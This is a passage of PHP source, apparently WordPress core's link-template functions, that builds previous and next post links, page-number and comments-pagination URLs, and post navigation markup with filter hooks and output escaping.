	 * Filters the adjacent post relational link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_post_rel_link`
	 *  - `previous_post_rel_link`
	 *
	 * @since 2.8.0
	 *
	 * @param string $link The relational link.
	 */
	return apply_filters( "{$adjacent}_post_rel_link", $link );
}

/**
 * Displays the relational links for the posts adjacent to the current post.
 *
 * @since 2.8.0
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Displays relational links for the posts adjacent to the current post for single post pages.
 *
 * This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins
 * or theme templates.
 *
 * @since 3.0.0
 * @since 5.6.0 No longer used in core.
 *
 * @see adjacent_posts_rel_link()
 */
function adjacent_posts_rel_link_wp_head() {
	if ( ! is_single() || is_attachment() ) {
		return;
	}
	adjacent_posts_rel_link();
}

/**
 * Displays the relational link for the next post adjacent to the current post.
 *
 * @since 2.8.0
 *
 * @see get_adjacent_post_rel_link()
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Displays the relational link for the previous post adjacent to the current post.
 *
 * @since 2.8.0
 *
 * @see get_adjacent_post_rel_link()
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy );
}

/**
 * Retrieves the boundary post.
 *
 * Boundary being either the first or last post by publish date within the constraints specified
 * by `$in_same_term` or `$excluded_terms`.
 *
 * @since 2.8.0
 *
 * @param bool         $in_same_term   Optional. Whether returned post should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param bool         $start          Optional. Whether to retrieve first or last post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return array|null Array containing the boundary post object if successful, null otherwise.
 */
function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) {
	$post = get_post();

	if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) ) {
		return null;
	}

	$query_args = array(
		'posts_per_page'         => 1,
		'order'                  => $start ? 'ASC' : 'DESC',
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
	);

	$term_array = array();

	if ( ! is_array( $excluded_terms ) ) {
		if ( ! empty( $excluded_terms ) ) {
			$excluded_terms = explode( ',', $excluded_terms );
		} else {
			$excluded_terms = array();
		}
	}

	if ( $in_same_term || ! empty( $excluded_terms ) ) {
		if ( $in_same_term ) {
			$term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
		}

		if ( ! empty( $excluded_terms ) ) {
			$excluded_terms = array_map( 'intval', $excluded_terms );
			$excluded_terms = array_diff( $excluded_terms, $term_array );

			$inverse_terms = array();
			foreach ( $excluded_terms as $excluded_term ) {
				$inverse_terms[] = $excluded_term * -1;
			}
			$excluded_terms = $inverse_terms;
		}

		$query_args['tax_query'] = array(
			array(
				'taxonomy' => $taxonomy,
				'terms'    => array_merge( $term_array, $excluded_terms ),
			),
		);
	}

	return get_posts( $query_args );
}

/**
 * Retrieves the previous post link that is adjacent to the current post.
 *
 * @since 3.7.0
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string The link URL of the previous post in relation to the current post.
 */
function get_previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy );
}

/**
 * Displays the previous post link that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @see get_previous_post_link()
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}

/**
 * Retrieves the next post link that is adjacent to the current post.
 *
 * @since 3.7.0
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string The link URL of the next post in relation to the current post.
 */
function get_next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Displays the next post link that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @see get_next_post_link()
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}

/**
 * Retrieves the adjacent post link.
 *
 * Can be either next post link or previous.
 *
 * @since 3.7.0
 *
 * @param string       $format         Link anchor format.
 * @param string       $link           Link permalink format.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string The link URL of the previous or next post in relation to the current post.
 */
function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	if ( $previous && is_attachment() ) {
		$post = get_post( get_post()->post_parent );
	} else {
		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
	}

	if ( ! $post ) {
		$output = '';
	} else {
		$title = $post->post_title;

		if ( empty( $post->post_title ) ) {
			$title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
		}

		/** This filter is documented in wp-includes/post-template.php */
		$title = apply_filters( 'the_title', $title, $post->ID );

		$date = mysql2date( get_option( 'date_format' ), $post->post_date );
		$rel  = $previous ? 'prev' : 'next';

		$string = '<a href="' . get_permalink( $post ) . '" rel="' . $rel . '">';
		$inlink = str_replace( '%title', $title, $link );
		$inlink = str_replace( '%date', $date, $inlink );
		$inlink = $string . $inlink . '</a>';

		$output = str_replace( '%link', $inlink, $format );
	}

	$adjacent = $previous ? 'previous' : 'next';

	/**
	 * Filters the adjacent post link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_post_link`
	 *  - `previous_post_link`
	 *
	 * @since 2.6.0
	 * @since 4.2.0 Added the `$adjacent` parameter.
	 *
	 * @param string         $output   The adjacent post link.
	 * @param string         $format   Link anchor format.
	 * @param string         $link     Link permalink format.
	 * @param WP_Post|string $post     The adjacent post. Empty string if no corresponding post exists.
	 * @param string         $adjacent Whether the post is previous or next.
	 */
	return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent );
}

/**
 * Displays the adjacent post link.
 *
 * Can be either next post link or previous.
 *
 * @since 2.5.0
 *
 * @param string       $format         Link anchor format.
 * @param string       $link           Link permalink format.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy );
}

/**
 * Retrieves the link for a page number.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int  $pagenum Optional. Page number. Default 1.
 * @param bool $escape  Optional. Whether to escape the URL for display, with esc_url().
 *                      If set to false, prepares the URL with sanitize_url(). Default true.
 * @return string The link URL for the given page number.
 */
function get_pagenum_link( $pagenum = 1, $escape = true ) {
	global $wp_rewrite;

	$pagenum = (int) $pagenum;

	$request = remove_query_arg( 'paged' );

	$home_root = parse_url( home_url() );
	$home_root = ( isset( $home_root['path'] ) ) ? $home_root['path'] : '';
	$home_root = preg_quote( $home_root, '|' );

	$request = preg_replace( '|^' . $home_root . '|i', '', $request );
	$request = preg_replace( '|^/+|', '', $request );

	if ( ! $wp_rewrite->using_permalinks() || is_admin() ) {
		$base = trailingslashit( get_bloginfo( 'url' ) );

		if ( $pagenum > 1 ) {
			$result = add_query_arg( 'paged', $pagenum, $base . $request );
		} else {
			$result = $base . $request;
		}
	} else {
		$qs_regex = '|\?.*?$|';
		preg_match( $qs_regex, $request, $qs_match );

		$parts   = array();
		$parts[] = untrailingslashit( get_bloginfo( 'url' ) );

		if ( ! empty( $qs_match[0] ) ) {
			$query_string = $qs_match[0];
			$request      = preg_replace( $qs_regex, '', $request );
		} else {
			$query_string = '';
		}

		$request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request );
		$request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request );
		$request = ltrim( $request, '/' );

		if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' !== $request ) ) {
			$parts[] = $wp_rewrite->index;
		}

		$parts[] = untrailingslashit( $request );

		if ( $pagenum > 1 ) {
			$parts[] = $wp_rewrite->pagination_base;
			$parts[] = $pagenum;
		}

		$result = user_trailingslashit( implode( '/', array_filter( $parts ) ), 'paged' );
		if ( ! empty( $query_string ) ) {
			$result .= $query_string;
		}
	}

	/**
	 * Filters the page number link for the current request.
	 *
	 * @since 2.5.0
	 * @since 5.2.0 Added the `$pagenum` argument.
	 *
	 * @param string $result  The page number link.
	 * @param int    $pagenum The page number.
	 */
	$result = apply_filters( 'get_pagenum_link', $result, $pagenum );

	if ( $escape ) {
		return esc_url( $result );
	} else {
		return sanitize_url( $result );
	}
}

/**
 * Retrieves the next posts page link.
 *
 * Backported from 2.1.3 to 2.0.10.
 *
 * @since 2.0.10
 *
 * @global int $paged
 *
 * @param int $max_page Optional. Max pages. Default 0.
 * @return string|void The link URL for next posts page.
 */
function get_next_posts_page_link( $max_page = 0 ) {
	global $paged;

	if ( ! is_single() ) {
		if ( ! $paged ) {
			$paged = 1;
		}

		$next_page = (int) $paged + 1;

		if ( ! $max_page || $max_page >= $next_page ) {
			return get_pagenum_link( $next_page );
		}
	}
}

/**
 * Displays or retrieves the next posts page link.
 *
 * @since 0.71
 *
 * @param int  $max_page Optional. Max pages. Default 0.
 * @param bool $display  Optional. Whether to echo the link. Default true.
 * @return string|void The link URL for next posts page if `$display = false`.
 */
function next_posts( $max_page = 0, $display = true ) {
	$link   = get_next_posts_page_link( $max_page );
	$output = $link ? esc_url( $link ) : '';

	if ( $display ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Retrieves the next posts page link.
 *
 * @since 2.7.0
 *
 * @global int      $paged
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $label    Content for link text.
 * @param int    $max_page Optional. Max pages. Default 0.
 * @return string|void HTML-formatted next posts page link.
 */
function get_next_posts_link( $label = null, $max_page = 0 ) {
	global $paged, $wp_query;

	if ( ! $max_page ) {
		$max_page = $wp_query->max_num_pages;
	}

	if ( ! $paged ) {
		$paged = 1;
	}

	$next_page = (int) $paged + 1;

	if ( null === $label ) {
		$label = __( 'Next Page &raquo;' );
	}

	if ( ! is_single() && ( $next_page <= $max_page ) ) {
		/**
		 * Filters the anchor tag attributes for the next posts page link.
		 *
		 * @since 2.7.0
		 *
		 * @param string $attributes Attributes for the anchor tag.
		 */
		$attr = apply_filters( 'next_posts_link_attributes', '' );

		return sprintf(
			'<a href="%1$s" %2$s>%3$s</a>',
			next_posts( $max_page, false ),
			$attr,
			preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
		);
	}
}

/**
 * Displays the next posts page link.
 *
 * @since 0.71
 *
 * @param string $label    Content for link text.
 * @param int    $max_page Optional. Max pages. Default 0.
 */
function next_posts_link( $label = null, $max_page = 0 ) {
	echo get_next_posts_link( $label, $max_page );
}

/**
 * Retrieves the previous posts page link.
 *
 * Will only return string, if not on a single page or post.
 *
 * Backported to 2.0.10 from 2.1.3.
 *
 * @since 2.0.10
 *
 * @global int $paged
 *
 * @return string|void The link for the previous posts page.
 */
function get_previous_posts_page_link() {
	global $paged;

	if ( ! is_single() ) {
		$previous_page = (int) $paged - 1;

		if ( $previous_page < 1 ) {
			$previous_page = 1;
		}

		return get_pagenum_link( $previous_page );
	}
}

/**
 * Displays or retrieves the previous posts page link.
 *
 * @since 0.71
 *
 * @param bool $display Optional. Whether to echo the link. Default true.
 * @return string|void The previous posts page link if `$display = false`.
 */
function previous_posts( $display = true ) {
	$output = esc_url( get_previous_posts_page_link() );

	if ( $display ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Retrieves the previous posts page link.
 *
 * @since 2.7.0
 *
 * @global int $paged
 *
 * @param string $label Optional. Previous page link text.
 * @return string|void HTML-formatted previous page link.
 */
function get_previous_posts_link( $label = null ) {
	global $paged;

	if ( null === $label ) {
		$label = __( '&laquo; Previous Page' );
	}

	if ( ! is_single() && $paged > 1 ) {
		/**
		 * Filters the anchor tag attributes for the previous posts page link.
		 *
		 * @since 2.7.0
		 *
		 * @param string $attributes Attributes for the anchor tag.
		 */
		$attr = apply_filters( 'previous_posts_link_attributes', '' );

		return sprintf(
			'<a href="%1$s" %2$s>%3$s</a>',
			previous_posts( false ),
			$attr,
			preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
		);
	}
}

/**
 * Displays the previous posts page link.
 *
 * @since 0.71
 *
 * @param string $label Optional. Previous page link text.
 */
function previous_posts_link( $label = null ) {
	echo get_previous_posts_link( $label );
}

/**
 * Retrieves the post pages link navigation for previous and next pages.
 *
 * @since 2.8.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|array $args {
 *     Optional. Arguments to build the post pages link navigation.
 *
 *     @type string $sep      Separator character. Default '&#8212;'.
 *     @type string $prelabel Link text to display for the previous page link.
 *                            Default '&laquo; Previous Page'.
 *     @type string $nxtlabel Link text to display for the next page link.
 *                            Default 'Next Page &raquo;'.
 * }
 * @return string The posts link navigation.
 */
function get_posts_nav_link( $args = array() ) {
	global $wp_query;

	$return = '';

	if ( ! is_singular() ) {
		$defaults = array(
			'sep'      => ' &#8212; ',
			'prelabel' => __( '&laquo; Previous Page' ),
			'nxtlabel' => __( 'Next Page &raquo;' ),
		);
		$args     = wp_parse_args( $args, $defaults );

		$max_num_pages = $wp_query->max_num_pages;
		$paged         = get_query_var( 'paged' );

		// Only have sep if there's both prev and next results.
		if ( $paged < 2 || $paged >= $max_num_pages ) {
			$args['sep'] = '';
		}

		if ( $max_num_pages > 1 ) {
			$return  = get_previous_posts_link( $args['prelabel'] );
			$return .= preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $args['sep'] );
			$return .= get_next_posts_link( $args['nxtlabel'] );
		}
	}
	return $return;
}

/**
 * Displays the post pages link navigation for previous and next pages.
 *
 * @since 0.71
 *
 * @param string $sep      Optional. Separator for posts navigation links. Default empty.
 * @param string $prelabel Optional. Label for previous pages. Default empty.
 * @param string $nxtlabel Optional Label for next pages. Default empty.
 */
function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
	$args = array_filter( compact( 'sep', 'prelabel', 'nxtlabel' ) );
	echo get_posts_nav_link( $args );
}

/**
 * Retrieves the navigation to next/previous post, when applicable.
 *
 * @since 4.1.0
 * @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments.
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @param array $args {
 *     Optional. Default post navigation arguments. Default empty array.
 *
 *     @type string       $prev_text          Anchor text to display in the previous post link.
 *                                            Default '%title'.
 *     @type string       $next_text          Anchor text to display in the next post link.
 *                                            Default '%title'.
 *     @type bool         $in_same_term       Whether link should be in the same taxonomy term.
 *                                            Default false.
 *     @type int[]|string $excluded_terms     Array or comma-separated list of excluded term IDs.
 *                                            Default empty.
 *     @type string       $taxonomy           Taxonomy, if `$in_same_term` is true. Default 'category'.
 *     @type string       $screen_reader_text Screen reader text for the nav element.
 *                                            Default 'Post navigation'.
 *     @type string       $aria_label         ARIA label text for the nav element. Default 'Posts'.
 *     @type string       $class              Custom class for the nav element. Default 'post-navigation'.
 * }
 * @return string Markup for post links.
 */
function get_the_post_navigation( $args = array() ) {
	// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
	if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
		$args['aria_label'] = $args['screen_reader_text'];
	}

	$args = wp_parse_args(
		$args,
		array(
			'prev_text'          => '%title',
			'next_text'          => '%title',
			'in_same_term'       => false,
			'excluded_terms'     => '',
			'taxonomy'           => 'category',
			'screen_reader_text' => __( 'Post navigation' ),
			'aria_label'         => __( 'Posts' ),
			'class'              => 'post-navigation',
		)
	);

	$navigation = '';

	$previous = get_previous_post_link(
		'<div class="nav-previous">%link</div>',
		$args['prev_text'],
		$args['in_same_term'],
		$args['excluded_terms'],
		$args['taxonomy']
	);

	$next = get_next_post_link(
		'<div class="nav-next">%link</div>',
		$args['next_text'],
		$args['in_same_term'],
		$args['excluded_terms'],
		$args['taxonomy']
	);

	// Only add markup if there's somewhere to navigate to.
	if ( $previous || $next ) {
		$navigation = _navigation_markup( $previous . $next, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays the navigation to next/previous post, when applicable.
 *
 * @since 4.1.0
 *
 * @param array $args Optional. See get_the_post_navigation() for available arguments.
 *                    Default empty array.
 */
function the_post_navigation( $args = array() ) {
	echo get_the_post_navigation( $args );
}

/**
 * Returns the navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array $args {
 *     Optional. Default posts navigation arguments. Default empty array.
 *
 *     @type string $prev_text          Anchor text to display in the previous posts link.
 *                                      Default 'Older posts'.
 *     @type string $next_text          Anchor text to display in the next posts link.
 *                                      Default 'Newer posts'.
 *     @type string $screen_reader_text Screen reader text for the nav element.
 *                                      Default 'Posts navigation'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Posts'.
 *     @type string $class              Custom class for the nav element. Default 'posts-navigation'.
 * }
 * @return string Markup for posts links.
 */
function get_the_posts_navigation( $args = array() ) {
	global $wp_query;

	$navigation = '';

	// Don't print empty markup if there's only one page.
	if ( $wp_query->max_num_pages > 1 ) {
		// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
		if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
			$args['aria_label'] = $args['screen_reader_text'];
		}

		$args = wp_parse_args(
			$args,
			array(
				'prev_text'          => __( 'Older posts' ),
				'next_text'          => __( 'Newer posts' ),
				'screen_reader_text' => __( 'Posts navigation' ),
				'aria_label'         => __( 'Posts' ),
				'class'              => 'posts-navigation',
			)
		);

		$next_link = get_previous_posts_link( $args['next_text'] );
		$prev_link = get_next_posts_link( $args['prev_text'] );

		if ( $prev_link ) {
			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
		}

		if ( $next_link ) {
			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
		}

		$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays the navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 *
 * @param array $args Optional. See get_the_posts_navigation() for available arguments.
 *                    Default empty array.
 */
function the_posts_navigation( $args = array() ) {
	echo get_the_posts_navigation( $args );
}

/**
 * Retrieves a paginated navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array $args {
 *     Optional. Default pagination arguments, see paginate_links().
 *
 *     @type string $screen_reader_text Screen reader text for navigation element.
 *                                      Default 'Posts navigation'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Posts'.
 *     @type string $class              Custom class for the nav element. Default 'pagination'.
 * }
 * @return string Markup for pagination links.
 */
function get_the_posts_pagination( $args = array() ) {
	global $wp_query;

	$navigation = '';

	// Don't print empty markup if there's only one page.
	if ( $wp_query->max_num_pages > 1 ) {
		// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
		if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
			$args['aria_label'] = $args['screen_reader_text'];
		}

		$args = wp_parse_args(
			$args,
			array(
				'mid_size'           => 1,
				'prev_text'          => _x( 'Previous', 'previous set of posts' ),
				'next_text'          => _x( 'Next', 'next set of posts' ),
				'screen_reader_text' => __( 'Posts navigation' ),
				'aria_label'         => __( 'Posts' ),
				'class'              => 'pagination',
			)
		);

		/**
		 * Filters the arguments for posts pagination links.
		 *
		 * @since 6.1.0
		 *
		 * @param array $args {
		 *     Optional. Default pagination arguments, see paginate_links().
		 *
		 *     @type string $screen_reader_text Screen reader text for navigation element.
		 *                                      Default 'Posts navigation'.
		 *     @type string $aria_label         ARIA label text for the nav element. Default 'Posts'.
		 *     @type string $class              Custom class for the nav element. Default 'pagination'.
		 * }
		 */
		$args = apply_filters( 'the_posts_pagination_args', $args );

		// Make sure we get a string back. Plain is the next best thing.
		if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
			$args['type'] = 'plain';
		}

		// Set up paginated links.
		$links = paginate_links( $args );

		if ( $links ) {
			$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
		}
	}

	return $navigation;
}

/**
 * Displays a paginated navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 *
 * @param array $args Optional. See get_the_posts_pagination() for available arguments.
 *                    Default empty array.
 */
function the_posts_pagination( $args = array() ) {
	echo get_the_posts_pagination( $args );
}

/**
 * Wraps passed links in navigational markup.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @access private
 *
 * @param string $links              Navigational links.
 * @param string $css_class          Optional. Custom class for the nav element.
 *                                   Default 'posts-navigation'.
 * @param string $screen_reader_text Optional. Screen reader text for the nav element.
 *                                   Default 'Posts navigation'.
 * @param string $aria_label         Optional. ARIA label for the nav element.
 *                                   Defaults to the value of `$screen_reader_text`.
 * @return string Navigation template tag.
 */
function _navigation_markup( $links, $css_class = 'posts-navigation', $screen_reader_text = '', $aria_label = '' ) {
	if ( empty( $screen_reader_text ) ) {
		$screen_reader_text = /* translators: Hidden accessibility text. */ __( 'Posts navigation' );
	}
	if ( empty( $aria_label ) ) {
		$aria_label = $screen_reader_text;
	}

	$template = '
	<nav class="navigation %1$s" aria-label="%4$s">
		<h2 class="screen-reader-text">%2$s</h2>
		<div class="nav-links">%3$s</div>
	</nav>';

	/**
	 * Filters the navigation markup template.
	 *
	 * Note: The filtered template HTML must contain specifiers for the navigation
	 * class (%1$s), the screen-reader-text value (%2$s), placement of the navigation
	 * links (%3$s), and ARIA label text if screen-reader-text does not fit that (%4$s):
	 *
	 *     <nav class="navigation %1$s" aria-label="%4$s">
	 *         <h2 class="screen-reader-text">%2$s</h2>
	 *         <div class="nav-links">%3$s</div>
	 *     </nav>
	 *
	 * @since 4.4.0
	 *
	 * @param string $template  The default template.
	 * @param string $css_class The class passed by the calling function.
	 * @return string Navigation template.
	 */
	$template = apply_filters( 'navigation_markup_template', $template, $css_class );

	return sprintf( $template, sanitize_html_class( $css_class ), esc_html( $screen_reader_text ), $links, esc_attr( $aria_label ) );
}

/**
 * Retrieves the comments page number link.
 *
 * @since 2.7.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int $pagenum  Optional. Page number. Default 1.
 * @param int $max_page Optional. The maximum number of comment pages. Default 0.
 * @return string The comments page number link URL.
 */
function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
	global $wp_rewrite;

	$pagenum = (int) $pagenum;

	$result = get_permalink();

	if ( 'newest' === get_option( 'default_comments_page' ) ) {
		if ( $pagenum != $max_page ) {
			if ( $wp_rewrite->using_permalinks() ) {
				$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
			} else {
				$result = add_query_arg( 'cpage', $pagenum, $result );
			}
		}
	} elseif ( $pagenum > 1 ) {
		if ( $wp_rewrite->using_permalinks() ) {
			$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
		} else {
			$result = add_query_arg( 'cpage', $pagenum, $result );
		}
	}

	$result .= '#comments';

	/**
	 * Filters the comments page number link for the current request.
	 *
	 * @since 2.7.0
	 *
	 * @param string $result The comments page number link.
	 */
	return apply_filters( 'get_comments_pagenum_link', $result );
}

/**
 * Retrieves the link to the next comments page.
 *
 * @since 2.7.1
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $label    Optional. Label for link text. Default empty.
 * @param int    $max_page Optional. Max page. Default 0.
 * @return string|void HTML-formatted link for the next page of comments.
 */
function get_next_comments_link( $label = '', $max_page = 0 ) {
	global $wp_query;

	if ( ! is_singular() ) {
		return;
	}

	$page = get_query_var( 'cpage' );

	if ( ! $page ) {
		$page = 1;
	}

	$next_page = (int) $page + 1;

	if ( empty( $max_page ) ) {
		$max_page = $wp_query->max_num_comment_pages;
	}

	if ( empty( $max_page ) ) {
		$max_page = get_comment_pages_count();
	}

	if ( $next_page > $max_page ) {
		return;
	}

	if ( empty( $label ) ) {
		$label = __( 'Newer Comments &raquo;' );
	}

	/**
	 * Filters the anchor tag attributes for the next comments page link.
	 *
	 * @since 2.7.0
	 *
	 * @param string $attributes Attributes for the anchor tag.
	 */
	$attr = apply_filters( 'next_comments_link_attributes', '' );

	return sprintf(
		'<a href="%1$s" %2$s>%3$s</a>',
		esc_url( get_comments_pagenum_link( $next_page, $max_page ) ),
		$attr,
		preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
	);
}

/**
 * Displays the link to the next comments page.
 *
 * @since 2.7.0
 *
 * @param string $label    Optional. Label for link text. Default empty.
 * @param int    $max_page Optional. Max page. Default 0.
 */
function next_comments_link( $label = '', $max_page = 0 ) {
	echo get_next_comments_link( $label, $max_page );
}

/**
 * Retrieves the link to the previous comments page.
 *
 * @since 2.7.1
 *
 * @param string $label Optional. Label for comments link text. Default empty.
 * @return string|void HTML-formatted link for the previous page of comments.
 */
